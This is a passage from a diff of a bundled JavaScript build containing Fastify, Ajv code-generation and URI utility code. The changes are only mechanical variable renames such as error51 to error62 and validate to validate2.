result2 = functions2[i++](request, next); - } catch (error51) { - cb2(error51, request); + } catch (error62) { + cb2(error62, request); return; } if (result2 && typeof result2.then === "function") { @@ -22556,7 +22556,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -22571,7 +22571,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -22581,7 +22581,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -22720,7 +22720,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -22729,14 +22729,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -22747,22 +22747,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema2] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema2] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -22800,7 +22800,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema2] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -22859,7 +22859,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -22867,7 +22867,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -22875,7 +22875,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -22893,18 +22893,18 @@ var require_validation = __commonJS({ result2.validationContext = result2.validationContext || dataVar; return result2; } - const error51 = schemaErrorFormatter(result2, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result2; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result2, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result2; + error62.validationContext = dataVar; + return error62; } module2.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema2, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -24582,15 +24582,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports2, module2) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -24606,7 +24606,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object3); } module2.exports = validateInitialConfig; - module2.exports.defaultInitOptions = validate.defaultInitOptions; + module2.exports.defaultInitOptions = validate2.defaultInitOptions; module2.exports.utils = { deepFreezeObject }; } }); @@ -24662,12 +24662,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -24681,14 +24681,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -24700,14 +24700,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -24733,13 +24733,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -24751,11 +24751,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -25273,8 +25273,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj2 = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj2 = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj2 === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -25375,15 +25375,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb2) { + function handleError(reply, error62, cb2) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -25397,11 +25397,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb2); + fallbackErrorHandler(error62, reply, cb2); return; } try { - const result2 = func(error51, reply.request, reply); + const result2 = func(error62, reply.request, reply); if (result2 !== void 0) { if (result2 !== null && typeof result2.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -25414,13 +25414,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb2) { + function fallbackErrorHandler(error62, reply, cb2) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -25430,21 +25430,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -25460,18 +25460,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -25956,7 +25956,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -25978,7 +25978,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -26069,8 +26069,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -26368,18 +26368,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb2) { + function onErrorHook(reply, error62, cb2) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb2) + error62, + () => handleError(reply, error62, cb2) ); } else { - handleError(reply, error51, cb2); + handleError(reply, error62, cb2); } } function setupResponseListeners(reply) { @@ -27342,7 +27342,7 @@ var require_proxy_addr = __commonJS({ module2.exports.default = proxyaddr; module2.exports.proxyaddr = proxyaddr; module2.exports.all = alladdrs; - module2.exports.compile = compile; + module2.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -27359,7 +27359,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -27367,7 +27367,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -27808,24 +27808,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -28109,8 +28109,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -28128,12 +28128,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -28731,9 +28731,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node2 { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -28970,9 +28970,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -29098,8 +29098,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -29148,10 +29148,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -29159,23 +29159,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -29213,13 +29213,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -29229,12 +29229,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -29244,9 +29244,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports2.CodeGen = CodeGen; @@ -29531,10 +29531,10 @@ var require_errors3 = __commonJS({ exports2.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports2.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports2.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -29542,10 +29542,10 @@ var require_errors3 = __commonJS({ } } exports2.reportError = reportError; - function reportExtraError(cxt, error51 = exports2.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports2.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -29596,19 +29596,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -30128,8 +30128,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -30140,13 +30140,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -30556,11 +30556,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -31202,28 +31202,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -31389,27 +31389,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -31452,11 +31452,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -31489,23 +31489,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -31521,79 +31521,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var 